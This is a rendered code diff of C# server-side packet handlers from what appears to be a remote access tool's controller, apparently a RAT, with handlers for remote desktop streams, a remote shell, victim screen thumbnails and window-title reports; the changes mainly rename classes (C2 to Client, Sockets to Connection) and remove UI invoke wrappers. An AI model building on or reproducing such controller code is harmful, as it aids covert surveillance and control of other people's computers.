FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (RD != null)
|
if (RD != null)
|
||||||
{
|
{
|
||||||
if (RD.C2 == null)
|
if (RD.Client == null)
|
||||||
{
|
{
|
||||||
RD.C2 = client;
|
RD.Client = client;
|
||||||
RD.timer1.Start();
|
RD.timer1.Start();
|
||||||
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||||
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
|
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
|
||||||
RD.rdSize = decoded0.Size;
|
RD.rdSize = decoded0.Size;
|
||||||
// RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2);
|
RD.labelWait.Visible = false;
|
||||||
}
|
}
|
||||||
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||||
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
|
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
|
||||||
@ -42,7 +38,7 @@ namespace Server.Handle_Packet
|
|||||||
|
|
||||||
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
|
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
|
||||||
{
|
{
|
||||||
RD.pictureBox1.Image = (Bitmap)decoded;
|
RD.pictureBox1.Image = decoded;
|
||||||
RD.RenderSW = Stopwatch.StartNew();
|
RD.RenderSW = Stopwatch.StartNew();
|
||||||
}
|
}
|
||||||
RD.FPS++;
|
RD.FPS++;
|
||||||
@ -60,8 +56,6 @@ namespace Server.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex) { Debug.WriteLine(ex.Message); }
|
catch (Exception ex) { Debug.WriteLine(ex.Message); }
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
@ -13,18 +13,12 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
public HandleReportWindow(Clients client, string title)
|
public HandleReportWindow(Clients client, string title)
|
||||||
{
|
{
|
||||||
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue);
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
|
||||||
if (Properties.Settings.Default.Notification == true)
|
if (Properties.Settings.Default.Notification == true)
|
||||||
{
|
{
|
||||||
Program.form1.notifyIcon1.BalloonTipText = $"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]";
|
Program.form1.notifyIcon1.BalloonTipText = $"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]";
|
||||||
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
using Server.Forms;
|
using Server.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@ -13,10 +13,6 @@ namespace Server.Handle_Packet
|
|||||||
public class HandleShell
|
public class HandleShell
|
||||||
{
|
{
|
||||||
public HandleShell(MsgPack unpack_msgpack, Clients client)
|
public HandleShell(MsgPack unpack_msgpack, Clients client)
|
||||||
{
|
|
||||||
if (Program.form1.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
|
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
|
||||||
if (shell != null)
|
if (shell != null)
|
||||||
@ -25,8 +21,6 @@ namespace Server.Handle_Packet
|
|||||||
shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength;
|
shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength;
|
||||||
shell.richTextBox1.ScrollToCaret();
|
shell.richTextBox1.ScrollToCaret();
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
@ -12,15 +12,11 @@ namespace Server.Handle_Packet
|
|||||||
public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
|
public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
|
||||||
if (Program.form1.listView3.InvokeRequired)
|
|
||||||
{
|
|
||||||
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
|
|
||||||
{
|
{
|
||||||
if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
|
if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
|
||||||
{
|
{
|
||||||
client.LV2 = new ListViewItem();
|
client.LV2 = new ListViewItem();
|
||||||
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
|
||||||
client.LV2.ToolTipText = client.ID;
|
client.LV2.ToolTipText = client.ID;
|
||||||
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
||||||
{
|
{
|
||||||
@ -43,8 +39,6 @@ namespace Server.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user